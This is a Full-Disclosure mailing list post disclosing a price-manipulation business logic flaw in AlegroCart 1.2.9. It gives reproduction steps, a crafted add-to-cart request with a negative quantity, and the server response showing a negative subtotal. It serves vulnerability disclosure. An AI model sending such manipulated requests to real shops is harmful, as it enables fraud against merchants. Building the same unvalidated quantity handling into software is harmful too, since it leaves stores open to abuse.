lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Message-ID: <CAF2Wu1ZyEuca9B1jtH2djcbgK2o0MnHps7+oX3YiyV7LKg03EA@mail.gmail.com> Date: Wed, 23 Apr 2025 22:11:47 +0100 From: Andrey Stoykov <mwebsec@...il.com> To: fulldisclosure@...lists.org Subject: [FD] Business Logic Flaw: Price Manipulation - AlegroCartv1.2.9 # Exploit Title: Business Logic Flaw: Price Manipulation - alegrocartv1.2.9 # Date: 04/2025 # Exploit Author: Andrey Stoykov # Version: 1.2.9 # Tested on: Debian 12 # Blog: https://msecureltd.blogspot.com/ Business Logic Flaw: Price Manipulation #1: Steps to Reproduce: 1. Visit the store and add a product 2. Intercept the HTTP GET request and add negative value to the "quantity" parameter // HTTP GET request GET /alegrocart/index.php?controller=addtocart&action=add&item=10&quantity=-100 HTTP/1.1 Host: 192.168.58.129 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0 [...] // HTTP response HTTP/1.1 200 OK Date: Thu, 03 Apr 2025 22:16:58 GMT Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3 X-Powered-By: PHP/5.6.40 Cache-Control: max-age=0, private, no-store, no-cache, must-revalidate Expires: Thu, 03 Apr 2025 22:16:58 GMT Vary: Accept-Encoding Content-Length: 813 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 <div class="headingcolumn pointer" onclick="ShowCart()"><h3>Cart ^</h3></div> <div class="cart"> <div id="cart_content" class="cart_content"> <div id="cart_products"> <table> <tr> <td>-100 x </td> <td class="ff"><a href=" http://192.168.58.129/alegrocart/?controller=product&product_id=10 ">Featured13/8"&1/2"</a></td> <td class="ee"> $-1,599.00</td> </tr> </table> </div> <div class="aa">Subtotal:$-1,599.00</div> <div class="cc">1 Product(s) - <div class="dd">-100 Item(s)</div></div> <div class="bb" id="cart_button"><a href=" http://192.168.58.129/alegrocart/?controller=cart">View Cart</a></div> [...] _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Powered by blists - more mailing lists